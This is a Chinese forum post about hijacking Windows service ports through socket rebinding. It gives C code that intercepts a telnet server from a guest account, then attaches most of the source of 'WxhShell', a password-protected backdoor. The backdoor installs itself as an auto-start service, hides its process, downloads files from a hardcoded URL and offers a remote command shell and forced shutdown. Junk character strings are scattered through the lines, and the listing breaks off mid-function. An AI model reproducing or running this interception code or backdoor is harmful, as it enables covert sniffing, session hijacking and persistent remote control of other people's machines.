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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z>)Bp /-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gW>uR3Ca4  
 gQ'zW  
  saddr.sin_family = AF_INET; oU056  
g!lWu[d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :S<f?* }:  
gl\\+VyU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /?@3.3sl_  
pGJ>O/%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %?}33yV  
i~I%D%;  
  这意味着什么?意味着可以进行如下的攻击: 2NC.Z;  
n>ULRgiT:o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WY?[,_4U  
(.D~0a JU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Si8pzd  
l_o@miG/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *5%d XixN  
[x+FcXb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +S>j0m<*  
Al}6q{E9+8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `UD/}j@  
_FpTFfB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ad*m%9Y1Q  
W-mQjJ`,B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B:'J `M"N  
0AZ")<^~7  
  #include ZCmgs4W!  
  #include LAB=Vp1y3[  
  #include mq@6Q\Z+  
  #include    ii T"5`KY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >/l? g5{  
  int main() * @ 3Ag(  
  { K#6P}tf  
  WORD wVersionRequested; &J[:awQX  
  DWORD ret; "iy  
  WSADATA wsaData; %zG;Q@  
  BOOL val; w65K[l;2  
  SOCKADDR_IN saddr; 1S{D6#bE  
  SOCKADDR_IN scaddr; J]{QB^?  
  int err; y0sR6TY)f  
  SOCKET s;  Uwf +  
  SOCKET sc; `[f*Zv w  
  int caddsize; L 6 c 40  
  HANDLE mt; > V-A;S:  
  DWORD tid;   O_ `VV*  
  wVersionRequested = MAKEWORD( 2, 2 ); } Yb[   
  err = WSAStartup( wVersionRequested, &wsaData ); ^E;kgED5  
  if ( err != 0 ) { pMw*9s X  
  printf("error!WSAStartup failed!\n"); IwQ"eUnK  
  return -1; 4!Fo$9  
  } NjVYLn<.r  
  saddr.sin_family = AF_INET; FHj" nB  
   ]<ldWL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }AB, 8n`  
4ezEW|S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); - Ajo9H  
  saddr.sin_port = htons(23); ] eotc2?u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jyZ  (RB  
  { bo2H]PL*  
  printf("error!socket failed!\n"); =bfJ^]R  
  return -1; 7%5z p|3  
  } g%sluT[#  
  val = TRUE; k.uH~S_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GWZ }7ake  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uxXBEq;  
  { @5N]ZQ9  
  printf("error!setsockopt failed!\n"); smlpD3?va  
  return -1; J"!vu.[  
  } '~5LY!H(pT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NCiW^#b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *Fy2BZH%Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |,S+@"0#  
\:b3~%Fz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >")Tf6zw&  
  { z>LUH  
  ret=GetLastError(); Nv#t:J9f  
  printf("error!bind failed!\n"); ;Y 00TGU  
  return -1; LhA*F[6$M  
  } (up~[  
  listen(s,2); w mn+  
  while(1) ]OM"ZG/^  
  { c/D+|X*  
  caddsize = sizeof(scaddr); ?4+9fE<Q  
  //接受连接请求 } df W%{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5 h-@|t  
  if(sc!=INVALID_SOCKET) ^]H5h]U '  
  { f86XkECZ;`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |?!~{-o  
  if(mt==NULL) `95r0t0hh\  
  { abuh`H#  
  printf("Thread Creat Failed!\n"); fY{1F   
  break; WJQvB=D&  
  } K18}W*$ d  
  } bWH&P/>  
  CloseHandle(mt); C6VLy x  
  } 6c}h(TkB  
  closesocket(s); @@R7p  
  WSACleanup(); ,BH@j%Jmy  
  return 0; z6U\axO6  
  }   APvDP?  
  DWORD WINAPI ClientThread(LPVOID lpParam) W<bGDh  
  { @P#N2:jwj  
  SOCKET ss = (SOCKET)lpParam; '}9x\3E  
  SOCKET sc; hpHr\g  
  unsigned char buf[4096]; #*D)Q/k  
  SOCKADDR_IN saddr; =b%MXT  
  long num; 1a?!@g )  
  DWORD val; o2nv+fy W  
  DWORD ret; qU+t/C.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *QpMF/<?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xe]y]  
  saddr.sin_family = AF_INET; B;M?,<%FRU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rA3$3GLQ-  
  saddr.sin_port = htons(23); Jb0`42  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5y d MMb  
  { lNz7u:U3  
  printf("error!socket failed!\n"); _t iujP  
  return -1; @ju@WY45$^  
  } ;ic3).H  
  val = 100; |LRedD7n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6^V=?~a&z  
  { pM+ AjPr  
  ret = GetLastError(); !<j'Ea  
  return -1; |nc@"OJ  
  } %>yG+Od5Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IshKH -  
  { ' KP@W9j  
  ret = GetLastError(); n&L+wqJ  
  return -1; ^&B@Uw5{  
  } "7 4-4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oQLq&zRH`f  
  { h:W;^\J:-  
  printf("error!socket connect failed!\n"); riUwBiVa?2  
  closesocket(sc); xR-%L  
  closesocket(ss); p ?*Q- f  
  return -1; hcgMZT!<5  
  } 9%k2'iV7  
  while(1) ?8I?'\F;  
  { zkt+7,vI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8LyD7P 1\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R] vV*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KxI&G%z  
  num = recv(ss,buf,4096,0); ; ^*}#X d  
  if(num>0) y0{u<"t%w  
  send(sc,buf,num,0); &T+atL`N  
  else if(num==0) %D UH@j  
  break; F5LuSy+v  
  num = recv(sc,buf,4096,0); l>2E (Y|  
  if(num>0) {'N Z.  
  send(ss,buf,num,0); ls_'')yp  
  else if(num==0) cL-[ZvyVX  
  break; BHIRH mM<Y  
  } i/65v  
  closesocket(ss); A^nvp!_  
  closesocket(sc); t=(!\:[D  
  return 0 ; Hn7_FOC  
  } Mz9 r5  
~xbe~$$Q@  
%d 1,a$*3}  
========================================================== :iK(JE`   
Bgn&:T8<  
下边附上一个代码,,WXhSHELL ,MdV;j ~"'  
y_'Ub{w  
========================================================== LSm$dK  
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#include "stdafx.h" Nu0C;B66  
[8P:?nDDL  
#include <stdio.h> |+"<wEKI  
#include <string.h> nii A7Ux  
#include <windows.h> ySk R>y  
#include <winsock2.h> -0d0t!  
#include <winsvc.h> QMA%$  
#include <urlmon.h> %"kPvI3Y  
bH-ub2@qO  
#pragma comment (lib, "Ws2_32.lib") P#E&|n7DT  
#pragma comment (lib, "urlmon.lib") ynmWW^dg  
fsmN)_T  
#define MAX_USER   100 // 最大客户端连接数 XpIklL7  
#define BUF_SOCK   200 // sock buffer wc0jhHZO ?  
#define KEY_BUFF   255 // 输入 buffer IrR7"`.i  
V8 e>l[tH  
#define REBOOT     0   // 重启 @y e4q.m  
#define SHUTDOWN   1   // 关机 G[B=>Cy  
V("{)0~O  
#define DEF_PORT   5000 // 监听端口 d)B@x`  
@*F"Q1 wI  
#define REG_LEN     16   // 注册表键长度 b}OY4~ Y4  
#define SVC_LEN     80   // NT服务名长度 ~9?cn  
Av @b!iw+  
// 从dll定义API Y_Eb'*PY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &qLf@1AD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3T31kQv{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  N O2XA\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w4_ U0 n3  
x[4`fM.m*  
// wxhshell配置信息 $[9%QQk5<L  
struct WSCFG { n+! AnKq  
  int ws_port;         // 监听端口 Gn22<C/  
  char ws_passstr[REG_LEN]; // 口令 OGBHos  
  int ws_autoins;       // 安装标记, 1=yes 0=no "HX<,l8f%  
  char ws_regname[REG_LEN]; // 注册表键名 Qf58ig-vCY  
  char ws_svcname[REG_LEN]; // 服务名 ];}Wfl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q;MT"=RW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A]y`7jJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T\:4qETQF]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7@C<oy_bb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c4!^nk]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 osciZ'~  
[N FFB96  
}; yxonRV$&  
LO'**}vm  
// default Wxhshell configuration t^VwR=i  
struct WSCFG wscfg={DEF_PORT, Bm.afsM;  
    "xuhuanlingzhe", F^l[GdUosK  
    1, Y4%:7mw~=  
    "Wxhshell", DDvh4<Hk  
    "Wxhshell", s J\BF  
            "WxhShell Service", sD<a+Lw}x  
    "Wrsky Windows CmdShell Service", 4)E_0.C  
    "Please Input Your Password: ", C#QpQg2  
  1, Pl(Q,e7O]  
  "http://www.wrsky.com/wxhshell.exe", FRcy`)  
  "Wxhshell.exe" TbA}BFT`  
    }; D,m]CK '  
;1#H62Z*  
// 消息定义模块 Gk967pC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5Y?L>QU"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *v?`<)P#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; du+y5dw  
char *msg_ws_ext="\n\rExit."; k2E0/ @f{k  
char *msg_ws_end="\n\rQuit."; zFfoqb#*g  
char *msg_ws_boot="\n\rReboot..."; 5&xB6|k  
char *msg_ws_poff="\n\rShutdown..."; =6xrfDbN8  
char *msg_ws_down="\n\rSave to "; O[# 27_dH  
1h(0IjG8  
char *msg_ws_err="\n\rErr!"; 3E7ULK  
char *msg_ws_ok="\n\rOK!"; D@C-5rmq  
X"MB|N y  
char ExeFile[MAX_PATH]; fz;iOjr>  
int nUser = 0; vVj  
HANDLE handles[MAX_USER]; YgKZ#?*  
int OsIsNt; YX%[ipgB  
]I-Z]m "  
SERVICE_STATUS       serviceStatus; !P ~_Dl2d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EQ2#/>  
g$n7CXoT  
// 函数声明 ^F>cp ,x  
int Install(void); k- Q%.o  
int Uninstall(void); ot @|!V  
int DownloadFile(char *sURL, SOCKET wsh); 4B=2>k  
int Boot(int flag); CPgCjtY  
void HideProc(void); Yaj0;Lo[wt  
int GetOsVer(void); INUG*JC6  
int Wxhshell(SOCKET wsl); =b38(\  
void TalkWithClient(void *cs); K )[]fm  
int CmdShell(SOCKET sock); "ZHW2l Mf  
int StartFromService(void); _\=`6`b)  
int StartWxhshell(LPSTR lpCmdLine); Gn&-X]Rrl  
v. %R}Pa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xf0M:\w=M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jQk*8   
Z 1zVwHa_  
// 数据结构和表定义 "~E[)^ANxD  
SERVICE_TABLE_ENTRY DispatchTable[] = ,PlO8;5]  
{ syk!7zfK  
{wscfg.ws_svcname, NTServiceMain}, `L:CA5sBud  
{NULL, NULL} )X04K~6lY  
}; XXbqQhf  
ag$Vgl  
// 自我安装 .b\$MZ"(  
int Install(void) 0MV>"aV  
{ (]_1  
  char svExeFile[MAX_PATH]; 6cpw~  
  HKEY key; ^?$WVB  
  strcpy(svExeFile,ExeFile); 0- ><q  
]'5;|xc9$/  
// 如果是win9x系统,修改注册表设为自启动 :!/gk8F|dI  
if(!OsIsNt) { m7&O9?X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 17D"cP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [FK<96.nt  
  RegCloseKey(key); OF%B[h&   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?in|qevL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dX\.t <  
  RegCloseKey(key); "8'@3$>R=  
  return 0; 3VuW#m#j  
    } +${D  
  } V I,ACj  
} }YjX3|8zL=  
else { > *@y8u*  
(*1v\Q  
// 如果是NT以上系统,安装为系统服务 |nbf'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tS|9fBdCs  
if (schSCManager!=0) VmCW6 G#M  
{ ,\X@~ j  
  SC_HANDLE schService = CreateService >a"Z\\dF  
  ( GQ*wc?f3  
  schSCManager, u4.ngjJ  
  wscfg.ws_svcname, ,B08i o-  
  wscfg.ws_svcdisp, SaC d0. h  
  SERVICE_ALL_ACCESS, 7uT:b!^f[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a UxGzMZ  
  SERVICE_AUTO_START, Kh(ZU^{n  
  SERVICE_ERROR_NORMAL, .U"8mP=&  
  svExeFile, 7~9S 9  
  NULL, ygeDcnvR]  
  NULL, U`,0]"Qk  
  NULL, FW) x:2BG  
  NULL, m.px>v-  
  NULL 9m|kgY# 4  
  ); p`nPhk,:b  
  if (schService!=0) ;2@BO-3K  
  { +zu(  
  CloseServiceHandle(schService); m~@;~7Ix  
  CloseServiceHandle(schSCManager); ?s\ OUr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3ia^\ jw  
  strcat(svExeFile,wscfg.ws_svcname); ?I/qE='*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z>jUR,!GT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }K1JU`Lz  
  RegCloseKey(key); T|6jGZS^|W  
  return 0; {D? 50Q  
    } bKj%s@x  
  } PlF87j (  
  CloseServiceHandle(schSCManager); `Q+ (LBP  
} s"9`s_p`d  
} b3S.-W{p.  
a\IP12F?  
return 1; *5 |)-E  
} lE!a  
nt;haeJ  
// 自我卸载 S;~g3DC d  
int Uninstall(void) ix W@7m  
{ gzBy?r> r  
  HKEY key; |u0( t,T  
AtU v71D:  
if(!OsIsNt) { ( Fynok  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TT50(_8  
  RegDeleteValue(key,wscfg.ws_regname); *.~6S3}  
  RegCloseKey(key); cCo`~7rE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +j(d| L\  
  RegDeleteValue(key,wscfg.ws_regname); /CuXa%Ci^  
  RegCloseKey(key); T<JwD[ (  
  return 0; SrFS#  
  } ?+g`HTY u  
} S!Omy:=;i  
} nl(WJKq'  
else { K+Z+wA?  
Zq,9&y~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3uZJ.Fb  
if (schSCManager!=0) o@#Y8M  
{ ?."&MZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $U$V?x uE  
  if (schService!=0) |+35y_i6  
  { 7SlsnhpW  
  if(DeleteService(schService)!=0) { +Vo}F  
  CloseServiceHandle(schService); qOSg!aft{Q  
  CloseServiceHandle(schSCManager); OkCQ?]  
  return 0; 4l!@=qwn  
  } c9kzOQ2n  
  CloseServiceHandle(schService); 2pzF5h  
  } 'fcMuBc+ 4  
  CloseServiceHandle(schSCManager); T[,/5J  
} FP0G]=ME  
} {r> .G7P6  
{fha`i  
return 1; pl5P2&k  
} Tneq6>  
JC}f-%H?K  
// 从指定url下载文件 A a= u+  
int DownloadFile(char *sURL, SOCKET wsh) pM{nh00[  
{ Z.W66\8~}^  
  HRESULT hr; s[K^9wz  
char seps[]= "/"; RlqQ  
char *token; &ISb~5  
char *file; :Xn7Ha[f  
char myURL[MAX_PATH]; !ALKSiSl  
char myFILE[MAX_PATH]; M t*6}Cl  
_* IPk  
strcpy(myURL,sURL); "S&@F/  
  token=strtok(myURL,seps); iT;@bp  
  while(token!=NULL) DHw&+MY  
  { ot`%*  
    file=token; !@x+q)2  
  token=strtok(NULL,seps); FuUD 61JHY  
  } 6*qL[m.F[o  
y kW [B  
GetCurrentDirectory(MAX_PATH,myFILE); Y 2Q=rj  
strcat(myFILE, "\\"); *?z0$Kz<,[  
strcat(myFILE, file); _(d.!qGz  
  send(wsh,myFILE,strlen(myFILE),0); cooUE<a  
send(wsh,"...",3,0);  6\u!E~zy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h)6GaJ=  
  if(hr==S_OK) r6;$1 K*0  
return 0; ZxG}ViS4I  
else JXixYwm  
return 1; ~`GhS<D  
kdxz!  
} WYIQE$SEv  
sK"9fU  
// 系统电源模块 Dy]I8_  
int Boot(int flag) >6~k9>nDb<  
{ RrhT'':[  
  HANDLE hToken; :d0Y%vl  
  TOKEN_PRIVILEGES tkp; /wxE1][.  
hY*0aZ|(  
  if(OsIsNt) { &n[~!%(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i\4hR?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KJ?y@Q  
    tkp.PrivilegeCount = 1; mAeuw7Ni  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .fi/I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CvPioi  
if(flag==REBOOT) { B aO1/zk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tzt,/e  
  return 0; [L6w1b,  
} ^9_U Uzf\  
else { /Y&02L%\3s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *d(SI<j  
  return 0; Z2Zq'3*  
} LuR,f"%2  
  } < AI;6/  
  else { R7s|`\  
if(flag==REBOOT) { F( Ak  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'JZJFE7Z  
  return 0; 6AvHavA^Y  
} R#n%cXc|  
else { R*zO dxY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y7GF$}%UL  
  return 0; tp:\j@dB  
} Um)>2|rp}  
} `e]6#iJ^  
7l."b$U4yv  
return 1; !ph" mf$-  
} (>=7ng^  
2/36dGFH  
// win9x进程隐藏模块 0Rz(|jlbS  
void HideProc(void) j'HkBW:L  
{ "o&HE@t  
n;8'`s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K9[e>  
  if ( hKernel != NULL ) 1z*kc)=JF8  
  { b?Pj< tA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -h-oMqgu(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,&7Wa-vf  
    FreeLibrary(hKernel); G\/"}B:(  
  } mmEp'E  
1/ZR*f a  
return; 451'>qS  
} ?-OPX_i_  
~=&t0D  
// 获取操作系统版本 85IMdZ7I  
int GetOsVer(void) ]~>K\i  
{ Ch_xyuJ  
  OSVERSIONINFO winfo; SQWafD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J4 tcQ  
  GetVersionEx(&winfo); >p])it[q&$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6  P`)%zj  
  return 1; z *9FlV  
  else Ogg#jx(4  
  return 0; /%n`V  
} ~~F2Ij  
I\Glc=T*  
// 客户端句柄模块 ?0<w  
int Wxhshell(SOCKET wsl) 8BXqZVm.  
{ ogeL[7  
  SOCKET wsh; h?UVDzI!O  
  struct sockaddr_in client; a :HNg  
  DWORD myID; V5D2\n3A  
wP"q<W g  
  while(nUser<MAX_USER) K{cbn1\,H  
{ cPn+<M#  
  int nSize=sizeof(client); ,>LRa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u-DK_^v4M  
  if(wsh==INVALID_SOCKET) return 1; Rt(J/%;  
*Q}[ ]g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (LJ@S eM;  
if(handles[nUser]==0) E-ZRG!)[v  
  closesocket(wsh); ;\y ;  
else b!$}ma;B  
  nUser++; kw,$NK'  
  } ,xths3.K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gJ3c;  
~^N]y b  
  return 0; uH\kQ9f  
} O\OE0[[  
{SG>'KXZ  
// 关闭 socket :Dl% _l  
void CloseIt(SOCKET wsh) >_ X/[<  
{ U3#dT2U  
closesocket(wsh); b X)|MiWI  
nUser--; ~!+ _[uJ  
ExitThread(0); cs_}&!c{  
} Zv qn%K],  
y/_wx(2  
// 客户端请求句柄 vt]F U<  
void TalkWithClient(void *cs) }Ia 0"J4  
{ H5nS%D  
^m7~:=K7WG  
  SOCKET wsh=(SOCKET)cs; xi'<y  
  char pwd[SVC_LEN]; 8NimZ(  
  char cmd[KEY_BUFF]; Mth6-^g5  
char chr[1]; dL;HV8z^  
int i,j; FN )d1q(~  
kJ=L2g>W<.  
  while (nUser < MAX_USER) { 3gfimD$_E  
yu&Kh4AP  
if(wscfg.ws_passstr) { noA-)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Gb+\E{M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *j*Du+  
  //ZeroMemory(pwd,KEY_BUFF); 0jB X5  
      i=0; 8&}~'4[b[$  
  while(i<SVC_LEN) { xRDiRj  
&K:' #[3V  
  // 设置超时 #iis/6"  
  fd_set FdRead; IlLn4Iw  
  struct timeval TimeOut; oEzDMImJ5  
  FD_ZERO(&FdRead); e^e$mtI  
  FD_SET(wsh,&FdRead); MV+i{]  
  TimeOut.tv_sec=8; 3;$bS<>  
  TimeOut.tv_usec=0; PDw{R]V+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d,'!.#e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]1fZupM^6  
"D> ]ES%5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ValS8V*N1  
  pwd=chr[0];  pbB2wt  
  if(chr[0]==0xd || chr[0]==0xa) { \~"#ld(x7  
  pwd=0; 6w#nkF  
  break; [}""@?  
  } ,5-Zb3\  
  i++; ?ow'^X-  
    } PM~*|(fA  
aIGn9:\  
  // 如果是非法用户,关闭 socket _J"mR]I+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &?a.mh/8[[  
} QjukK6#W  
(Nz]h:}r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R "E<8w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sQk|I x  
Y"> 4Qx4W  
while(1) { P"4Mm, C  
~8Sqa%F>  
  ZeroMemory(cmd,KEY_BUFF); k@q Wig  
hhq$g{+[  
      // 自动支持客户端 telnet标准   nN{dORJlx  
  j=0; 1 Nk1MGV  
  while(j<KEY_BUFF) { bf98B4<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -h\@RC  
  cmd[j]=chr[0]; &d 3HB=x  
  if(chr[0]==0xa || chr[0]==0xd) { &|z544  
  cmd[j]=0; ag]*DsBt  
  break; +G!v!(Ob+  
  } &,uC9$  
  j++; J'7 y   
    } +>E5X4JC  
!d4HN.a7+u  
  // 下载文件 T8q[7Zn  
  if(strstr(cmd,"http://")) { :c;_a-69  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !V( `ZH  
  if(DownloadFile(cmd,wsh)) 75(W(V(q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @f=RL)$|  
  else vb}/@F,Q5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qg>L,ZO  
  } cHn;}l!I  
  else { _[$# b]V  
'oi2Seq  
    switch(cmd[0]) { U2&HSE|2J  
  T#e4": A&x  
  // 帮助 q}Rlo/R  
  case '?': { ~|=rwDBZ8l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R"Y?iZed3  
    break; 8dV=1O$ /  
  } GEi MmH?  
  // 安装 vU9~[I`^p  
  case 'i': { }wkaQQh  
    if(Install()) iQj2UTds3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (1y='L2rj  
    else p5qx=p~c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z[FI2jl  
    break; 9 d] tjT  
    } T+BIy|O  
  // 卸载 ![q }BU4  
  case 'r': { xc *!W*04  
    if(Uninstall()) u S(@?m$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [#zE. TW  
    else T:@7 S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bb_}YU2#  
    break; Uk"Y/Ddm  
    } 6 <r2*`  
  // 显示 wxhshell 所在路径 09x+Tko9;*  
  case 'p': { 4 f3=`[%  
    char svExeFile[MAX_PATH]; !SN WB  
    strcpy(svExeFile,"\n\r"); u mqKFM$  
      strcat(svExeFile,ExeFile); wjg}[R@!  
        send(wsh,svExeFile,strlen(svExeFile),0); V4oak!}?  
    break; d.b?! kn  
    } 6o9sR)c ?  
  // 重启 |3"NwM>  
  case 'b': { $OT}`Te~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E.4n}s  
    if(Boot(REBOOT)) N7+#9S5fv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8q{1E];:q  
    else { '@S,V/jy0z  
    closesocket(wsh); ][ rTQt m  
    ExitThread(0); e7hO;=?b'  
    } tbRE/L<  
    break; SDJ;*s-  
    } eTT^KqE>&  
  // 关机 +Gp!cGaAm  
  case 'd': { 1uY3[Z9S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xf[z EEt  
